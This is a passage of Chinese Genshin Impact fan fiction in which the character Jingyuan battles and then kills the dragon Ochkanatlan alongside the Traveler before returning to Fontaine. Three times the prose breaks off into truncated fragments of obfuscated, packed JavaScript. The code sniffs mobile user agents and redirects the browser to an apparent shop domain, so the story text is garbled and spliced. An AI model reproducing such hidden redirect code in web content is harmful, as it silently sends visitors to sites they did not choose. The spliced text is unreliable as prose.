l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328677|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用一点劲就能逃离的这种想法,然后不断拉扯,一会松一会紧,链子的另一头始终牢牢把握在静原手里。龙储蓄的力量是有限的,不休息补给的话,哪怕尊贵强横如伟大的龙王,也会死在僭越者的手中。 那龙就叫静原这么硬生生耗尽了力量,最后被甩在城市的长街上,甩在静原脚边,掀起眼皮子逆着光看蓝毛的异乡龙裔微笑,不甘的从鼻腔里泻出一点火星子,而那点火很快就熄灭了。 就像驯狗一样。 静原心里有点不是滋味。身为同类(他这个时候又肯承认自己是龙了),战胜后就不该折辱败者了。 于是他解开锁链收起法杖,看着后颈出被打上水元素小鱼标记的龙,问他:“你叫什么名字?” 那龙声音嘶哑,听不清的呓语似乎来自梦中,静原忍不住蹲下身去贴近了听。万幸没发生什么经典奋力□□咬掉耳朵或者半张脸的惊悚戏码,因为那龙只是不屑吐出非人言:“一身鱼腥味的逆贼,不配知晓我之名讳。” 静原:“……” “你骂谁一身鱼腥味呢!钟离都没嫌弃过我!都说我身上香香的是海盐味!我看你是天天烧火烧得鼻涕泡直冒脑子也傻了闻不出个香臭好坏来,没点审美细胞的傻蛋!还不配!你才不配!睁大你眼睛看看你爹是谁!” 有人破防了,我不说是谁。 这边静原上手扒拉龙的眼皮子,叫他睁眼睛看吸鼻子闻,今天非得说他香才行。 那边,龙被他搞得心头邪火直冒,本来就不聪明的脑袋瓜子这会更是被怒火占满,理智清零。也不管自己还喷不喷得出火焰来,直接和这莫名其妙冒出来的闯入者在空荡荡的长街上殴打。龙那么大的个子,静原张牙舞爪使劲乱蹬也能给龙蹬出内伤来。 “你还敢咬我?!除了[卡吕普迪斯]那个傻蛋还没有人咬过我!”静原摸摸肩上见血的牙印,不可置信,随即恶狠狠放话,“你完了,我今天一定要把你脑浆子打出来。” 什么败者不可辱,通通放狗屁! 龙一边被打得嗷嗷叫,一边心里直骂这是哪来的二百五。 最后从天亮打到天黑,从天黑打到天明,精力旺盛如龙也不可避免的身心俱疲,脑袋一歪舌头一吐彻底没了动静,静原抱着自己踹麻了的脚缩在旁边疗伤,他也是蠢,被对方一激脑子也不好使了,非要肉身搏斗,明明自己是个法师来着…… 他抱着自己的脚越想越伤心,长这么大还没受过如此屈辱,居然说他身上一股鱼腥味。明明自己洗得香香的,还会用海盐系列香水,钟离那种讨厌海鲜的家伙都没嫌弃过自己,还邀请自己去璃月多玩……这个没审美的神经病!!! 就该打死这丫的! 到最后也不知道龙的名字,只给他留半条命的静原怒瞪昏迷过去的龙,气不过,挪过来用没麻的那条腿又踹龙一脚。然后被皮糙肉厚的龙鳍硌了脚。 静原觉得自己真是命里跟纳塔的成年龙类犯冲。 76.风中残烛 龙类社会除了天生的龙王位阶不可触碰不可挑衅不可逾越,其他时候基本上靠实力说话。静原打赢了这头龙,那么不管如何,他就是这头龙目前的老大。 不服? 那就再锤一顿。 失去了理智灵魂的龙再怎么愚钝靠本能行事,那也是知道利害好歹的。在静原反复的以理服人教导下,终于学会了好好说话。 “我之名讳……已经遗失。”龙趴在地上,艰难的喘息着,“此身灵与肉分离,依稀记得曾经的使命。守护……守护我之城邦……为了那个人的梦想与希望……” 静原点点头:“我知道了。” 龙想问他你知道了什么,你真的知道连我也不清楚的东西吗?但是龙没有问,只能注视着这个蓝毛的异乡龙裔走远。 长长的发辫随着他的动作在腰后轻晃,就像水中游鱼摆动尾巴一样。 烬城很大,建筑恢宏无比,依稀可见当年龙类文明末路时的荣光。龙类习惯在石碑上刻印文字,因此部分历史并没有随着遮天蔽日的深渊浪潮与焚天之火消散,静原在城里四处晃荡,从那些角落里的石碑上读取了不少文字信息。 这里提一嘴,他看烬城的碑文就像现代人看文言文一样,连蒙带猜才能看懂——这还是有龙类通用语基础的情况。 那维莱特来了都不一定能看懂吧。 静原挠挠头,蹲下来慢慢摩挲着石碑上被后人凿去的,看不清楚难以辨认的地方,嗅着空气中经年不散的流灰,最终只是长叹。 蛇王奥奇坎,烬城的圣主,纳塔的恶龙,完全的龙与完全的人……静原摸摸缩在角落里的龙的脑袋:“你的名号还挺多。” 龙,或者用奥奇坎来称呼他更合适。他依旧浑浑噩噩不知今夕是何夕,闻言并没有什么表态:“有外敌入侵,我要、我要驱逐他——” 奥奇坎似乎是能感应云雾外的动静,哪怕身上被静原揍出的伤还没好,也挣扎着要爬起来飞翔。静原就是一会没注意,奥奇坎就跌跌撞撞飞了出去,他只能跟上。 这个时候会来奥奇卡纳塔闲逛的,除了旅行者没谁了吧? 于是当旅行者带着派蒙和他们的龙伙伴阿兹特克跨越云海爬上高崖,就见一头深紫色的龙自高空疾驰而来,喷吐火焰,灼烧地上的活物。比如丘丘人,比如旅行者小队。 “啊啊啊啊啊!”派蒙被吓得乱叫,抓着旅行者金色发辫被他带着四处躲藏,“这是哪里来的坏龙啊!我们什么都没干呢!” 龙伙伴钻进地里,嵴峰龙依靠大地的力量躲避来自天空的威胁——这似乎已经是生存本能了。 “阿兹特克,你跑哪里去啦?”派蒙从旅行者身后出来,没有看到地上的小龙,“阿兹特克!” 这下连旅行者表情都不太好,那小家伙不会被吓到后窜不见了吧?按理来说不会啊,阿兹特克胆子可比派蒙大。 静原跑得要岔气了,这才从烬城高处跑到下方的长街,注意到地上有拱起的岩块,而且越来越近越来越近,直到地下的小兽撞到了他的脚,这才哇的一下蹦出来。 静原一眼就看清了那小兽额头上的红色斑纹,以及尾巴上的赤金绸缎。 “你是……旅行者的龙伙伴,阿兹特克,对吗?” 静原蹲下身来摸摸小家伙的头,看着它胖墩墩的模样有几分想笑。 “呜哇,哇哇,呀!”阿兹特克手舞足蹈连比带划,眼瞅着天上的龙又飞了过来吐火球砸向那些复生的魔物,吓得直往静原身后躲。抱住他胳膊怯生生的往天上看。 阿兹特克说,旅行者和派蒙被坏坏的恶龙欺负了,自己发现鱼鱼龙在这里,就来找鱼鱼龙帮忙。 “鱼鱼龙又是什么称呼。”静原失笑,将阿兹特克抱起来,就像抱着个实心的酒坛子似的,“别怕,我在这呢。” 于是在高空盘旋的奥奇坎再一次被水色锁链拽了回来,趁着这次力度轻,他也识趣,乖乖的飞下来。 完全是一副被打服气的模样,虽然只是暂时的。 派蒙心里火烧火燎,拽着旅行者连滚带爬穿越烬火流灰赶过来,发现自己小龙崽好好的缩在熟人怀里,这才勉强放下心来。 “是卡吕普迪斯的话,出现在哪里都不奇怪了。”派蒙想起静原之前说过要来禁地这边看看,没想到这么快就能遇上,“幸好你在这里,不然阿兹特克就要丢了。” “哇哇!” 派蒙叉腰:“没有说你笨啦。阿兹特克真聪明,知道搬救兵。” 小龙崽这才高兴起来,被静原放到地上,自在的拍拍肚皮。 “话说,卡吕普迪斯……”旅行者看向友人身后虎视眈眈的紫色龙类,“这个,也是你的朋友吗?” “不是。”静原即答,“之前就是他朝我喷火,前两天打老实了,所以现在看着正常。其实不是个正常货色。” 旅行者对精神病的宽容度还是比较高的,毕竟[卡吕普迪斯]的“光辉事迹”在前,他对发癫的非人类有一种莫名其妙的宽厚。 但不多。 静原并不要求旅行者和自己态度一致:“你们要打就打吧,他不是我的从属。” 派蒙想上去给奥奇坎两拳,结果被对方警惕的低吼吓得圆润缩回旅行者身后:“旅行者,你来吧。” “派蒙……你这……”旅行者欲言又止,最后还是没说啥,最终也没有攻击奥奇坎,只是询问了静原他有什么发现可以分享。 “这家伙的名字是奥奇坎,一具没有容纳智性灵魂的空壳,依靠本能和残存的意志行事。在天空盘踞喷火球是为了清除这座城市的深渊、魔物、以及入侵者。很不幸,我们都被当做了后者。”静原面色平淡,旅行者看不出他的喜怒哀乐,“我打了两天时间才把他打得听话了一点点,建议你们想同他平等交流之前也把他打一顿。或者打几顿。” 阿兹特克歪头,看样子有点跃跃欲试,叫派蒙紧急叫停:“不要仗着大家都在就这么肆无忌惮了呀!” 奥奇坎盯着这小龙崽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340784|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头的火焰斑纹,也不知想到了什么,重重的喷气,鼻息都带着灼热的高温与火焰。 阿兹特克张牙舞爪“呀”了一声,胖嘟嘟的尾巴一晃一晃,怎么看都是个战斗力为零的萌物。 【受龙所选者,到高空去】 【到高空去……】 静原明显感受到空间扭曲了一瞬:“刚刚发生了什么吗?” 旅行者惊愕侧目:“你听到了?” “什么听到了?” “有人在说话,叫我受龙所选者,让我去高空……”旅行者告诉静原,之前在回声之子那边他就听到了这样的声音,也就是那时他捡到了小龙伙伴,之后更是参与了一系列事件。 “我没听到什么话,只能感受到空间的短暂扭曲。应该是纳塔本地的某个龙类意志对你的引导吧。如果之前这种声音不曾害过你,祂对你显然是没有恶意的。”静原当然听不到,那应该是纳塔的一些厉害龙类意识对旅行者这种传奇冒险家和有能之人的青睐,“受龙所选者,这个称呼可不得了……” 见静原笑起来,旅行者不明所以,但心情还是轻松了不少。 静原看向身边木讷的奥奇坎,估摸着那声音和他失去的灵魂有一定联系。 高空……天蛇…… 他拍拍金发少年的肩膀:“接下来就靠你了,需要我帮忙尽管开口就好。” 旅行者眨了眨眼睛:“突然觉得,你和派蒙有些像。” “是吗?那我就当你夸我了。”静原一边笑,一边把探索的重任交给了旅行者,把奥奇坎赶去外边清理魔物了。 那些被深渊污染的魔物,被天空诅咒的丘丘人哪怕被烧成灰烟飞散,太阳升起的第二日,又会出现在大地上,不记得死前发生了什么,不记得高空有龙喷吐火焰,继续狩猎生活,直到再次被烈火灼烧死去,然后在天亮时重回人间。如此循环往复、茹毛饮血、苟延残喘的存活着。 静原已经不会再为它们驻足了。 把奥奇坎踹走后,他们很快在烬城探索时遇见了一个奇奇怪怪孔雀蓝的小东西[绿松石](绿宝),和小东西的人类伙伴“玻娜”。 玻娜自称是冒险家,来烬城寻找传说中的回还之玉,说有这样的宝物可以祛除大地上的深渊污秽。旅行者和派蒙想到了纳塔大地上至今仍残留的深渊物质,对玻娜的话深信不疑。 至于静原,他站在旅行者身后,学着阿兹特克的样子歪歪头,金发的少年面前的不是平常所见的淡色□□,而是明亮炽热的金色灵魂*。 静原只是低眉微笑,什么也没有说,什么也没有表示,所以其他人都没有发现什么不对,高高兴兴的继续前进。 那个比派蒙还小的孔雀蓝色的,奇奇怪怪的小东西绿宝,它应该有意识,好几次静原都能发现它在注视自己——没有什么恶意的那种注视,所以静原也就放任它了。 先想想有什么能带回枫丹的特产吧……静原这样想着,对外面传来的魔物怒吼哀嚎恍若未闻。 77.返乡 有旅行者同行的话,解密什么的完全用不到静原,他跟在金发少年身后走就行,顺手处理一两只冒出来的魔物就不算偷懒。 玻娜不愧是冒险家,斗志昂扬元气满满,带着她的伙伴绿宝上蹿下跳,四处探索,想要找到传说中的天蛇船与回还之玉。 静原这家伙闲到最后,已经在附近的魔物营地找到生火做饭的地方,洗干净锅具煮上热汤,阿兹特克钻地出去又遁地回来,掏出两颗大大的颗粒果以及一株高高的薄荷,期待的注视着静原做饭。后来派蒙也飞累了,趴在静原背上盯着汤锅流口水:“好了吗?可以尝一口吗?我有点饿了……” 旅行者找不到派蒙,回头张望才发现几个伙伴已经围在火堆边嘀嘀咕咕了。 旅行者:“哇你们看上去就像来野餐一样。”他在这灰头土脸的挖掘线索呢! 静原连忙顺毛捋:“辛苦你了旅行者,这都是因为有你在啊。来喝完热汤吧,烬城的夜晚可是很冷的。” 太阳落入远方的海,天色渐晚,周遭的云雾也愈发朦胧。原来又是一个夜晚到来了。” 几个人披着毯子缩在破损的建筑里烤火取暖,捧着碗热汤啜饮,无光雾海带来的寒意被慢慢驱散。 火焰舔舐锅底,明亮而闪烁,映照得众人面色都暖了起来。各色眼瞳像是珠玉宝石一般。 玻娜讲起她在这座城如何结识了绿宝,如何探险,旅行者和派蒙兴致盎然的分享他们游历诸国的见闻。阿兹特克在一旁认真的听,只有静原眯着眼睛裹着毛毯慢慢睡着了。 真亏他听着聊天声音也能睡着。 “卡吕普迪斯肯定是累了,让他好好休息吧。”派蒙轻轻摸摸青年额角的蓝色发丝,声音也不自觉的放低,“要做个好梦呀。” 静原眼睛一闭就睡着了,再睁眼时已经嗅到了饭香。旅行者正在往锅里磕禽蛋,培根和香肠铺平,慢慢煎出的油脂浸润蔬菜与切块的面包。 很少这样野外生活做饭的静原对这种睁眼就有饭吃的生活相当唏嘘,吃了两个旅行者特制肉蛋堡后,熄灭火,继续朝前走。 破译了机关,强力的风场通向高空云海。旅行者会附魂绒翼龙,玻娜会用风之翼,他们带着阿兹特克和派蒙绿宝一起飞毫无问题。只有静原这个不会飞的鱼盯着海面想,要不要拉起水桥爬到天上去。 想想还是算了,爬着累。 于是他和路过的一头绒翼龙做了交易,用一车颗粒果换来绒翼龙驮着他飞翔。 “老兄,我听柯娅说过你,你是个讲信用的龙。”那绒翼龙拍拍翅膀,“我要东边陆地上的颗粒果,满满一车。烬城这边的颗粒果一吃一嘴灰,呸呸呸——” 静原连连保证一定给他最好的一车颗粒果,绒翼龙高兴起来:“我叫桑尼,到我背上来吧,抓紧咯,我要飞了!” 扒拉着旅行者辫子的派蒙回头一看,就见卡吕普迪斯已经坐在绒翼龙的背上飞起来了,风很大,吹得他蓝色发丝在空中狂舞。 “哇——”被旅行者附魂状态下抓着的阿兹特克惊喜的叫起来。 鱼鱼龙飞起来了! 桑尼后起飞,可逐渐超过了先走一步的旅行者,相当得意:“我可是烬城这边飞得最好最快的绒翼龙。” 静原:“好好好,你当心点,别掉下去了。”他不恐高,但是高空的冷风吹得他脸痛。 玻娜飞在最前面,也不知道为什么一个人类利用风之翼能飞得比绒翼龙还快。桑尼很不服气,加足马力朝上飞,恰好一股强力的风吹来,桑尼很快带着乘客静原消失在旅行者视野中。 “他们去哪里了?”旅行者扑腾着翅膀,一脸懵,然后被风吹得东倒西歪,头晕眼花的在云海摇摆,只能大声呼唤伙伴,告诉他们在上面可以歇脚的地方汇合。 静原依稀听到了身后的声音,估摸着时间和方位,觉得找到他们应该不难。 桑尼带着他冲出云海,来到了云海之上的遗失之处。 巨大的,圆环形状的建筑恰似一块碎裂的玉璧,零落悬浮,灰白石制建筑上覆盖了尘土,进而生出花草与树。 这会是何人建造的宏伟之所? “我就知道你们要来这里。”桑尼带着静原落在大块的灰白色建筑上,风吹过,青草与花摇摆起伏,沙沙作响,“大家说这里是以前蛇王建造的大船,蛇王死后,这边也逐渐没有什么龙和人类来了。只有飞得特别好的绒翼龙才能飞到这里来。” 他骄傲的挺起胸脯,静原了悟,把他夸了又夸,给人家小年轻夸得找不着北,自愿留下来陪同:“你想下去的话,我送你下去。” “太贴心了,你真是我见过最热情,最厉害的绒翼龙。”来自异乡龙类的夸赞显然让桑尼很受用,扑腾着翅膀说:“现在要做什么,等你的同伴来吗?” 静原却表示:“不,我们再往前飞一段。去到中心的地方。” 静原又在这边找到了许多碑文,细细研读后更显得奇怪。 石碑上原本铭刻着前人留给后人的教诲,言之凿凿说的话归纳总结就是:神绝不可信,人类只能靠自己。 静原眨了眨眼睛:这是人类刻的? 但是其中有些话语很微妙,如果是人类的话,为什么会知道龙类【进化】这个概念呢?火龙蜥退化了,火龙王不会在其中诞生——这是人类能知道的? 很有意思的是,静原带着桑尼对着石碑摸了又摸研究,逐渐浮现了原本不可见的燃素字迹。那像是另一个人写的“批注”,对,就像老师批改学生作文那样。 什么叫,【进化是永恒之敌*】? 算了不想了。 静原直觉这里面大有学问,想到这里距离天空岛那么近,还是不多思为好。 静原还是很珍惜这条小命的。 没多久,玻娜和旅行者他们都到了,接下来就是利用火磷石解密。静原撒手交给旅行者和阿兹特克去做了,自己带着桑尼全场乱飞。 他们到了某处壁画那里,静原和桑尼琢磨了半天也没有琢磨出个什么所以然来——对纳塔历史并不了解的弊端莫过于此,根本没法像在枫丹那样,从只言片语中窥探过去的一角。 桑尼不认字,到处溜达,然后咬着一块红色的东西叼给静原,那是一块红色的风镜,似乎很久以前就遗落在天蛇船的某个角落。属于一位曾向未知的强敌发起挑战的冒险家。这风镜便是她存在过的证明。*② 越看越眼熟,那不就是玻娜头上戴着的风镜吗? 静原毫不意外,扭头看向旅行者,显然那边已经进行到了尾声,“玻娜”突然捂着头说假的都是假的,给派蒙和阿兹特克吓一跳。 静原乘着桑尼飞过去,将红色风镜交给旅行者,什么都没有说,可旅行者感觉什么都明白了。 玻娜啊,那个为了回还之玉而来,为了寻找拯救家园的宝物的冒险家,察觉到了宝物背后的阴影与虚无,察觉到了某个存在的阴谋,因此奋起反抗,灵魂直到今日也未能安息。 静原看向绿宝,那个被玻娜视作好伙伴的奇怪家伙,对方的眼珠转过来盯着他,静原失笑:“你看我干什么?” 绿宝当然不会回答。或者说,祂的“回答”是那头突然钻出云海,抵达众人眼前的紫色龙兽奥奇坎。 “奥奇坎,你又要来找打吗?”静原护着身后瑟缩的桑尼和阿兹特克,可是奥奇坎像是又恢复之前魔怔的,无差别攻击的状态,喷吐着烈焰,扇动翅翼,朝着在场威胁度最高的静原俯冲而下。 被火焰灼烧的空气刺得人皮肤干裂疼痛,都忍不住护着面部,静原也不例外,然后就被奥奇坎这家伙撞下了歇脚停驻的悬浮长台。 “我靠!”翻车了!! 失重感席卷全身,静原的身子往下掉,这里不是海洋,也不是陆地,是高悬的天空,是目之所及皆白,可触之无物的云海。他什么都抓不住,桑尼俯冲下来想要接住他,可是奥奇坎一翅膀给桑尼掀翻。 忍无可忍无需再忍,新仇旧恨加一起,派蒙尖叫着冲过去:“我跟你没完啊啊啊啊啊!” 旅行者附魂桑尼,带着充满能量的绿宝和阿兹特克把奥奇坎一路撵下去,边飞边打。 当然,主要战力还是绿宝,旅行者看着越来越远的蓝色身影,加速俯冲速度,眼前从白变得蓝,因为已经脱离了高处的云海,可以瞧见下方的烬城与海洋。 如果下坠地点是海洋的话好说,静原不会砸死在海里。但是下面是烬城啊!是建筑物啊! 在半空中下坠的静原欲哭无泪,恨不得把奥奇坎那神经病剥皮抽筋。 如果旅行者在自己坠落前赶不到身边的话,静原只能想办法召唤海浪托举自己了。 现在摆在眼前的就是距离太远海洋接受不到信号的问题…… 奥奇坎你个神经病!!! 静原越想越气,瞅着那头在云海间翻腾的龙,恨不得一水鲸砸死他。 他听到了一声龙吟。 那龙吟似乎来自悠远的地方,像是天空,像是海底。眼前赤红色的“桑尼”越来越近,旅行者也越来越近,灼热的温度让在空中冻久了的静原忍不住伸出手。 旅行者伸长了脖子,好让静原抓住。然后再次俯冲而下,带着静原在空中翻了个身,让人鱼趴在他背上:“太好了,我接住你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347947|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静原感动得眼泪都飙出来了,白色珠子飞到空中,如同荷叶上的露珠:“救命之恩无以为报,我愿意把我所有的宝石都送给你,好伙计。” “别这么说,我们是朋友。”旅行者的声音带着些许笑意,“抓紧,我们去找回场子。” 静原当然说好。 于是旅行者带着静原,阿兹特克,绿宝和派蒙,拖家带口的殴打奥奇坎,绕着烬城360°旋转,看着那恶龙慌不择路砸穿石墙,又跌跌撞撞飞到了远方的小岛,叫静原召唤出水色鲸鱼砸下去,一口气砸到地底——贯穿伤拉满。 阿兹特克捂住眼睛,又觉得那个坏龙活该,于是放下爪子,瞪大了眼睛瞧。 静原跳下旅行者的背,钻进洞里,撵着还没死的奥奇坎上蹿下跳,一路撵到黑黝黝的深处。要不是考虑到有小孩在,静原什么都骂得出口。 这个时候,绿宝的意识开始沟通恢复人形态,正在把昏迷的桑尼扶到一旁休息的旅行者[再不劝劝的话,他真的会把我活活打死的。] 旅行者头也不抬:“做了那么过分的时候,卡吕普迪斯差点没命,被打死也是他活该。”卡吕普迪斯要是折在纳塔这地方了,别说是不是因为深渊入侵,那维莱特都要滋着水冲过来开启新一轮的战争了。 旅行者没好气道:“卡吕普迪斯打累了换我来,不会让他好过的。” 还是旅行者:“等等,你说——[我]?” 绿宝盯着旅行者,无奈道:[他是我的□□,我是他的灵魂。在过去,为了阻止灾难,也为了让人类更好的驱使我,我将灵魂和□□一分为二,可惜……最后都失控了。灵魂在侵蚀中失去了过往的记忆,浑浑噩噩的存留在某个角落,直到那个孩子找到了我……玻娜,我的小姑娘,我的力量太过孱弱,无法救下她,只能竭力保持住她的一部分灵魂……] 绿宝,或者说真正的奥奇坎将过去娓娓道来,最终说出他的目的:[旅者,我之肉身对远方的同族犯下了不可饶恕的罪过,我不希求原谅,只求你们能让我之灵魂回归□□,再将我终结。只有那样,我才能得到真正的,彻底的解脱。] 旅行者把奥奇坎的话转述给静原,就听见静原挥舞着骨杖的手一顿,阴恻恻一笑:“来,让他进来。” 绿宝化作流光钻入那奄奄一息的躯体,地上躺着的[奥奇坎]发出痛苦的尖啸,周围的黑曜石岩壁都在颤动,直到那尖啸戛然而止。 奥奇坎,真正的奥奇坎,烬城的旧日之主,恶龙与圣龙,蛇王奥奇坎。此刻正站在静原与旅行者两位异邦人面前,高昂起头颅:“远道而来的客人,请——赐我永恒的宁静。” “好啊。”静原的瞳孔中燃烧着冰冷的蓝色火焰,“送你和你的小姑娘团聚。”刚刚的话他听得一清二楚,奥奇坎还以为他听不见呢。傻蛋。 旅行者和派蒙惊愕的注视着他手握法杖,凭空召唤流水,数十道水流汇聚成一股,直接贯穿蛇王的心脏,将其钉死在此地,钉死在噩梦的温床。 太快了…… 旅行者喃喃道:“我从来没见过你这么迅速的,杀死某一个存在。” 卡吕普迪斯拥有一颗仁慈而怜悯的心——但凡见过他出手的人都会这么想。明明很多招式都带有更为残忍的影子,他明明可以绑住对手的肢体,割裂皮肤,放干血液,最后贯穿胸膛与心脏——水幻化的锁链,刀刃,以及巨鲸,哪一样都能在其他人手里玩出花来,可是卡吕普迪斯只会绑住对手,束缚其动作,然后耗干对方的力量,最后一棒子或者一头静原砸晕。这种手段太温柔了,真的,好像他没杀过人似的。 旁观者能清晰的感受到他体内蕴含了何种庞大恐怖的爆发力,可是最后用出来的就像晴天的海浪一样。 他的力量多用于【守护】,而非本能的【猎杀】。 这次不一样,卡吕普迪斯杀死奥奇坎很果断,本来旅行者还以为他那样心软的人鱼会迟疑一二呢。还打算如果卡吕普迪斯下不去手,就自己来。 谁知道卡吕普迪斯刺啦一下就捅死了奥奇坎这个皮糙肉厚血条巨长的家伙。 静原振振有词:“我送他去见玻娜了,不好吗?” 旅行者搓搓胳膊:“怪阴森的。” “他不能要我的命。”静原突然说,“我的命很珍贵,绝对不能死在这里。” 如果奥奇坎是对他之前的殴打心怀愤恨想要报复,那么欢迎他的攻击。但是想让他死的话,不可能。静原只会让奥奇坎死,奥奇坎不想死也得死。 “因为家里还有人在等我回去。”蓝发的人鱼平静道,“阻挡我回家的一切阻碍,都将被清除。” 78.碎金骄阳 回到烬城后,旅行者和静原根据碑文记载逐渐复刻出这座城市的历史,以及奥奇坎这个家伙的生平。 说实话,奥奇坎是个相当有魄力有毅力的领袖,建造烬城,庇护人类,反抗用人类研究[进化]的父亲,或者说老师——龙贤(叫贤龙也行,龙贤者,贤者龙)。天蛇船上燃素书写的文字,以及回还之玉和玻娜的死都出自龙贤的手笔。 奥奇坎,他是被龙贤培育出来的,有着人类灵魂的【龙】,在人类社会长大的【龙】。奥奇坎喜爱人类,亲近人类,排斥自己龙类的身份与血统。这让龙贤很不理解,尤其当龙贤看到自己的子嗣居然在试图抹去龙类存在与提瓦特的历史后,简直想笑。 天蛇船是奥奇坎的骄傲,也是他践行希巴拉克意志的体现。哦,是不是忘了说,奥奇坎是希巴拉克毒唯这件事? 静原想起那些疑似蛇王时期的奥奇坎刻下的碑文,想起他字里行间对“那个人”,也就是希巴拉克全身心的赞美与推崇,就觉得了不得。 不过,蛇王的野心,蛇王的期冀,蛇王的梦想与希望都在遮天蔽日的黑暗渊薮中沦陷了。 深渊,龙与人共同的敌人,静原和旅行者都不知道当年发生了怎样的残状,以至于奥奇坎变成了那个脑残样——简直晚节不保。 蛇王奥奇坎仍旧伟大,只是他的时代已经过去,就像再璀璨的烈阳也有落下的那天。深渊的阴影仍未完全褪去,他的躯体守着一座死城,守着他未竟的梦想,死在了最开始酝酿噩梦的地方。 采集了一些枯叶紫英,坐在桑尼背上离开奥奇卡纳塔时,静原回头看了一眼。其实从高处俯瞰这座海上城邦,能发现它的版图形状很微妙,就像是一头匍匐的巨龙。尾巴朝着花羽会这边,四周的狭长群岛是零落的翅翼骨骼,巨大的身体承载着古老的城池,脖颈淹没在海下,而头颅则是远方的小岛——其下乃奥奇坎的埋骨地。 他把这个发现说给在身侧附魂飞行的旅行者,吓得爬在对方背上的派蒙一个哆嗦:“不是吧?难道真的是在龙骨上建立的城市吗?” 桑尼也吓了一跳:“说得这么吓人啊。” “不一定,只是形状像而已。”静原说,“之前在那边到处逛的时候,悬崖峭壁看上去都是普通的岩石质地,断面很规整,像是天然形成的……也许真的是巧合吧。” 桑尼长舒一口气,他就说嘛,怎么能真是龙骨呢。 只有旅行者沉默,毕竟卡吕普迪斯的直觉和预感有时候精准得可怕。 抵达花羽会地界后,静原很快找到了商人购买了整整一车颗粒果,都是在火元素富极地人工培育出来的高产作物,每一颗都颗粒饱满,像是镶嵌了晶莹玉石一般。桑尼吃得超级高兴,因为一口气吃不完这么多,决定在翘枝崖这边多住一段时间。 和桑尼分别后,静原问旅行者接下来计划去哪里探险。 “应该是烟谜主那边吧。远方海上有一片迷雾,我也想去那边看看。”旅行者摸摸下巴,突然变了脸色,“毕竟之前在稻妻也见到过如此阵势的海上雾岛……不会又要分四天探索完吧?” 派蒙似乎也被勾起了什么可怕的回忆,双手合十祈祷:“拜托,那里一定不要有坛子罐子啊。” 静原一头雾水:“你们这是打什么哑迷呢?” 阿兹特克更是摸不着头脑。 不过后来的冒险静原表示自己就不参与了。他晃了晃手中那一小把枯叶紫英:“我得早些回家,毕竟有些特产容易折损在半路上。” 旅行者想起了什么,把一些小锦囊交给对方:“这是我用化种匣收集的纳塔地区作物种子。灼灼彩菊,肉龙掌,还有青蜜莓,这些是比较多的,种子遇水生长,你把这些带回枫丹种吧。” 至于枯叶紫英,那玩意没法收集种子。 这个离别赠礼静原是真喜欢,他仔细收好这些种子:“我会好好照料这些种子的,等你下次回枫丹玩,也许就能看见它们长大的样子了。” 派蒙嘿嘿笑:“卡吕普迪斯,你喜欢花的话,我们去枫丹找你玩会带更多花哦。每个国家都有自己的特产,肯定有你特别喜欢的。” “那就这么说好了。”静原笑起来,“拜拜,下次再见。” “再见啦!” 他带着花和种子沿着溪流一路东行,天黑升起火堆歇脚,对着火光雕刻那些已经晶体化的澄晶石。玛薇卡之前看他做手工,提过一句澄晶石采摘晾放一些天就能用来雕刻的事,静原觉得这种材料很漂亮,便记在心里,特意采集了一些。 月光下,那些澄晶石就像黄琥珀和蓝宝石一样美丽,折射出莹润的光来。静原用雕刻刀仔细雕琢,紧赶慢赶,可算是在抵达圣火竞技场时将它们送了出去。 采集的澄晶石很多,但静原的雕刻功夫并不太好,有一些刻坏了成废料,最终成品只有两个。黄色部分多的刻成卡齐娜抱蓝色鲨鱼,蓝色部分多的刻成玛拉妮摸黄色兔子。 两个小摆件生动刻画出卡齐娜和玛拉妮的神态,小姑娘们很高兴:“好漂亮!我还没见过有谁用澄晶石雕刻这样小巧精致的摆件呢。” 纳塔人喜欢大开大合的东西,比如山崖上的绘彩,比如能容纳龙伙伴休息的摇篮。各种石头制作的东西更是往大了去做,澄晶石固然是种好材料,但用它雕刻的人少之又少,毕竟很难卖个好价钱。 但是不代表不漂亮,不代表没人喜欢那种晶莹。 卡齐娜这种喜欢挖矿采集宝石的孩子两眼都在放光:“真的好好看呀,玛拉妮笑起来的样子就是这样的,特别特别温暖,就像……春天的太阳一样。” “卡齐娜原型的鼠兔也很可爱哟。”玛拉妮笑起来,明媚而灿烂,“哎呀,要是真能像抱小兔子一样抱着你玩就好了,走到哪抱到哪,不撒手。” “玛拉妮……” 静原看见她们喜欢也很高兴。 他在圣火竞技场被玛薇卡加持了赐福,至少不用担心被热成咸鱼干。带着几个犯事的枫丹人在集市上采买了很多,最后雇佣了一只计划去须弥的商队护送他们穿越沙漠。 主要是考虑徒步穿越沙漠对枫丹人来说不亚于酷刑,静原不想这几个笨蛋把命搭在沙漠里,只能雇佣人捎带一程。 他要回去的消息没有阻拦的传递到了其他在纳塔旅居的枫丹人耳中,基本上来这出差旅行的人忙活完手头的事,就想着蹭一趟顺风车回家,毕竟有卡吕普迪斯在的地方,危险程度可以低到忽略不计。 